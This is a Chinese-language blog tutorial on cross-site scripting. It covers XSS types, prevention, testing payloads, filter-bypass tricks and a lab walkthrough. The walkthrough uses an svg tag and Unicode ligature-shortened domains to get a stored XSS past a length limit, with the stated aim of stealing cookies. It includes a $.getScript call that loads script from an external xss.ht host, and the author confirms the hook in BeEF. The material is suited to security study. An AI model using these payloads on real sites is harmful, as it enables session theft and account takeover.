XSS知识点和20字符短域名绕过

本文详细介绍了XSS跨站脚本攻击的原理、分类和危害,包括反射型、DOM型和存储型XSS。同时,讨论了XSS的预防措施和检测方法,如黑盒测试和静态分析。此外,文章还探讨了常见的XSS绕过策略,如大小写、编码和注释绕过,并特别提到了20字符短域名在绕过中的应用。最后,通过一个实际案例展示了如何利用SVG标签和短域名进行XSS攻击。
摘要由CSDN通过智能技术生成

XSS知识点和20字符短域名绕过

XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)重名,故缩写为XSS。
XSS属于被动式的攻击: 因为其被动且不好利用,所以许多人常呼略其危害性。
XSS漏洞的问题原因: 主要是由于开发人员对XSS了解不足,安全的意识不够造成的,因为没有对用户的输入进行一个合法的过滤或者没有过滤完善,导致用户把相应的恶意代码输入的了页面当中。
XSS攻击的主要目的: 想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。
预防措施: 防止下发界面显示html标签,把</>等符号转义。请记住两条原则:过滤输入和转义输出。

XSS漏洞分类

1.反射型XSS
反射型XSS的危害并不是那么大,因为反射型XSS不会插入数据库中,也并不持久,它只能运行一次就结束了。用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功。
2.DOM型
DOM-basedXSS漏洞是基于文档对象模型(Document Object Model)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如
document.getElementByld(“x’).innerHTML、document.write)等。
3.储存型
存储型XSS又叫持久型。一般而言,它三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。它的利用过程如图所示。
DOM型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。

DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。

XSS漏洞查找方法

1. 黑盒测试
所谓黑盒测试, 就是在不知道系统的代码和运行状态的条件下,对系统进行的测试。在对XSS漏洞的检测中,我们可以模拟黑客的攻击手段,在所有可能的数据输入接口处,尝试 进行一些XSS注入。通过观察注入后的引用这些数据的页面,看其是否出现被注入的现象,即可确实是否存在XSS漏洞。比如我们可以用下面所列的一些脚本来 尝试XSS注入:

><script>alert(document.cookie)</script>
 
=><script>alert(document.cookie)</script>
 
<script>alert(document.cookie)</script>
 
<script>alert(vulnerable)</script>
 
<script>alert(’XSS’)</script>
 
<imgsrc=/uploadfile/2015/0301/20150301105236644.png” nerror=alert(’XSS’)>

2. 静态分析
静态分析方法属于白盒测试方法的一种,它通过对Web应用的代码进行分析,从而发现其中可能存在的问题。

3. 数据流分析
XSS 之所以产生,根本原因在于不安全的数据流, 使得用户的输入数据被直接嵌入到某些页面中。比如PHP中的echo语句,就能够将一些数据直接添加为 HTML页面的一部分,如果这个数据是用户注入了XSS脚本的数据,则会导致产生XSS攻击。因此,数据流分析的主要思想就是使用一些模型或者工具,分析 Web应用程序代码中的数据传输情况,从而发现其中存在的问题。

常用的绕过方法

  • 大小写绕过
  • 双写绕过
    <oonnmouseout>=alert(/xss/);
  • 替换绕过
 alert可用prompt,confirm,top['alert'](1)
()可用 ``代替
空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
字符ſ(ord=383)转为大写为S
  • 编码绕过
url编码
html实体 &#x74; &#116; 等
javascript字符编码 八进制\164 十六进制\x0074
  • js的String.fromCharCode方法获得字符串 javascript
  • 注释绕过
JavaScript注释 // /**/
html注释 <!-- --> <!-- --!>
  • @符号绕过url限制http://test:test@www.baidu.com
  • 宽字节绕过等…

20字符短域名绕过

首先在创建新相册名字的时候,我们先随意输出,
在这里插入图片描述

F12看到这里将他将刚刚输入的值传到了a标签里面
在这里插入图片描述

所以就看一下源文档,可以看出来他是直接输出URL的地址,并且看到了添加相册是后走的是add方法,并且过滤了两端的空格,还默认了必须填写,并且默认长度为45。并且使用了xss-clean

xss-clean:将一些符号过滤成为一些实体,并将一些关键字进行了过滤,

因为说到这个过滤了很多标签,所以我们先将xss-clean删掉,然后再创建名称出填写:< script >标签。
在这里插入图片描述

回到目录页面的时候他会出现弹窗,是因为他在创建的时候已经入库了,所以每一次进入的时候,他都是访问的。
在这里插入图片描述

这里就说明可以使用js代码。
所以我么为了获取到对方的cookie,我们来尝试使用>$.getScript(“//trlsm.xss.ht”),
在这里插入图片描述

但是从图片可以看到我们使用最短的绕过方式,他也是字节太长,所以我们就是要修改这个的长度,

在源码当中我们规定的最长字符长度是:35
在这里插入图片描述

虽然xss-clean过滤了很多标签,但是他还没有过滤掉< svg >标签,所以我们使用< svg>标签进行一个测试。
在这里插入图片描述
在这里插入图片描述

也就是可以找到一个svg的标签,来进行绕过。
在这里插入图片描述

但是这些个必备的命令已经有29个字符了,所以只能将域名缩短。
但是短域名的方式来实现,说以这里有一个知识点:

用短字符来绕过字符限制:这种的话比如说tel正常是3个字节,但是写成这样后℡,他会把他当成是一个字节来用。所以这样就尽可能的为我们节省了字符长度。

ff expands to ff
℠ expands to sm
㏛ expands to sr
st expands to st
㎭ expands to rad
℡ expands to tel

然后我尝试了用老师的域名来弄,但是因为没有文件什么的,也不能修改外网ip为本机的,然后我有没有自己的域名,所以我只能尝试放宽字符限制长度使用ip进行测试。可以看见beef上出现了。
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值